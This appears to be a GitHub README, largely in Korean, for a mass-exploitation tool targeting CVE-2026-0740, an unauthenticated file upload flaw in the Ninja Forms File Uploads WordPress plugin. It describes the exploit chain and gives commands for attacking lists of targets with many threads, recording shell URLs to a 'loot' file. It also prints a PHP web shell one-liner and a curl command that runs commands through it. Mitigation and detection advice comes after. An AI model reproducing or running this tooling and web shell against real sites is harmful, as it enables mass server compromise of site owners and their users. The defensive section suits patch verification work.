
PoC untuk CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — 인증되지 않은 사용자의 임의 파일 업로드로 인해 RCE(원격 코드 실행)로 이어질 수 있는 취약점
저자: 0xNuts
기여자: Cursor
저장소: https://github.com/ExDev994/CVE-2026-0740-mass
CVE-2026-0740에 대한 PoC: Ninja Forms File Uploads <= 3.3.26 — 인증되지 않은 임의 파일 업로드, 이는 RCE로 이어질 수 있습니다.
초기 취약점은 Sélim Lanouar (@whattheslime)에 의해 발견되었습니다. 대량 대상 PoC 엔진은 0xNuts가 Cursor의 기여로 개발했습니다.
이 저장소는 보안 연구 및 방어 목적 (승인된 침투 테스트, 서면 승인을 받은 레드팀, 패치 검증 및 강화)으로만 제공됩니다.
WordPress용 Ninja Forms - File Uploads 플러그인은 버전 3.3.26까지(포함) 인증되지 않은 임의 파일 업로드에 취약합니다.
익스플로잇 체인:
field_id를 사용하여 AJAX 액션 nf_fu_get_new_nonce를 통해 업로드 nonce를 획득합니다.nf_fu_upload 핸들러는 업로드 파일의 확장자(예: image.jpg)를 검증하지만, 공격자는 POST 파라미터(image_jpg)를 통해 대상 파일 이름을 덮어쓸 수 있습니다.move_uploaded_file()에 전달되어 임의 확장자 및 경로 탐색(../) 이 가능해집니다.전체 패치는 3.3.27+ 버전에서 사용할 수 있습니다.
이 저장소에는 CVE-2026-0740.py와 README.md만 포함되어 있습니다. 의존성을 수동으로 설치하십시오:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
참고: -t 또는 -f 중 정확히 하나를 사용해야 합니다.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
명시적 경로 탐색 사용:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
target.txt 파일을 생성합니다:
http://site1.com
https://site2.com
10.0.0.5
# 주석 줄은 무시됩니다.
실행:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
worker 수와 loot 파일 튜닝:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
성공적으로 업로드된 쉘 URL은 loot 파일에 기록됩니다 (추가 모드).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
업로드 성공 후 스크립트가 쉘 URL을 표시합니다. 확인 (실습/승인된 대상에서만):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Ninja Forms - File Uploads를 즉시 3.3.27 이상 버전으로 업데이트하십시오.
Ninja Forms - File Uploads 버전 확인업데이트 후:
wp-admin/admin-ajax.php 엔드포인트에서 action=nf_fu_get_new_nonce / action=nf_fu_upload를 테스트 — 임의 업로드가 거부되어야 함WordPress 업로드 디렉터리 확인:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
이상한 파일 찾기: .php, .pht, .phtml, .phar, .html, .svg, .js 파일이 존재해서는 안 됩니다.
또한 웹 서버 로그에서 다음 요청을 확인하십시오:
/wp-admin/admin-ajax.php
파라미터 action=nf_fu_get_new_nonce 또는 action=nf_fu_upload가 포함된 요청.
WAF / rate limiting을 /wp-admin/admin-ajax.php에 적용하여 대량 업로드 남용 차단
웹 서버 설정을 통해 wp-content/uploads/ 디렉터리에서 PHP 실행 비활성화:
Apache (.htaccess in uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
최소 권한 원칙: 업로드 파일 권한이 웹 서버에 의해 필요한 디렉터리 외부에서 쓰기 가능하지 않도록 설정
모니터링: 외부 IP 또는 높은 볼륨에서 admin-ajax.php로 nf_fu_* 액션 POST 알림 설정
백업 및 침해 대응: IoC 발견 시 사이트 격리, DB/관리자 자격 증명 교체, 다른 플러그인/테마 감사
업로드 기능이 필요하지 않다면 Ninja Forms - File Uploads 플러그인을 비활성화하고 삭제하십시오.
| 벡터 / 확장자 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
경로 탐색 (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| 플래그 | 기능 |
|---|
-t, --target | 단일 대상 (단일 URL) |
-f, --targets-file | 대상 목록이 포함된 .txt 파일 (한 줄에 하나의 URL) |
--shell | 업로드할 페이로드/웹쉘 파일 (필수) |
-d, --dest | 대상 경로 탐색 (기본값: ../../../) |
-w, --workers | 동시 스레드 수 (기본값: 20) |
-o, --output | 성공한 쉘 URL을 저장할 파일 (기본값: results.txt) |
-x, --proxy | HTTP 프록시 (예: http://127.0.0.1:8080) |
-H, --headers | 사용자 정의 헤더 (형식: 'Header: Value') |
--timeout | HTTP 타임아웃 (초) (기본값: 10) |